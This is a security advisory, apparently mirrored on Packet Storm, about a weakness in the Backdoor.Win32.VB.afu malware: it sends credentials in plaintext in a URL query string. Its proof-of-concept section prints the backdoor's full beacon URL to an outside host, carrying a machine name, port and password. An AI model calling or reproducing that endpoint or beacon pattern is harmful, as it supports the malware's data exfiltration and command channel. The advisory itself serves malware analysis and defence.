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Backdoor.Win32.VB.afu Insecure Transit

🗓️ 08 Nov 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 582 Views

Backdoor.Win32.VB.afu Insecure Transit Password Disclosure via URL Query Strin

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c6ba7fcb9eb9bdd7e081e2e84e784dcb_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.VB.afu  
Vulnerability: Insecure Transit Password Disclosure  
Description: The malware launches Internet Explorer browser and passes logon credentials in plaintext via a URL query string using the HTTP GET request method. Third party attackers who can sniff traffic or access the machine used to logon may also locate the credentials, as the URL contents can potentially be leaked or stored in some of the following locations.  
  
Browser History  
Browser Cache  
Browser Developer Tools  
Cached by web proxy  
Referer Header  
Web Logs  
Shared Systems  
Type: PE32  
MD5: c6ba7fcb9eb9bdd7e081e2e84e784dcb  
Vuln ID: MVID-2021-0392  
Dropped files: Explorer.exe  
Disclosure: 11/05/2021  
  
  
Exploit/PoC:  
http://splintersecurity.com/omerta/Mail/Mail.php?cn=DESKTOP-2B3JQKO&sn=Server&pt=8079&pw=asdfgh&[email protected]  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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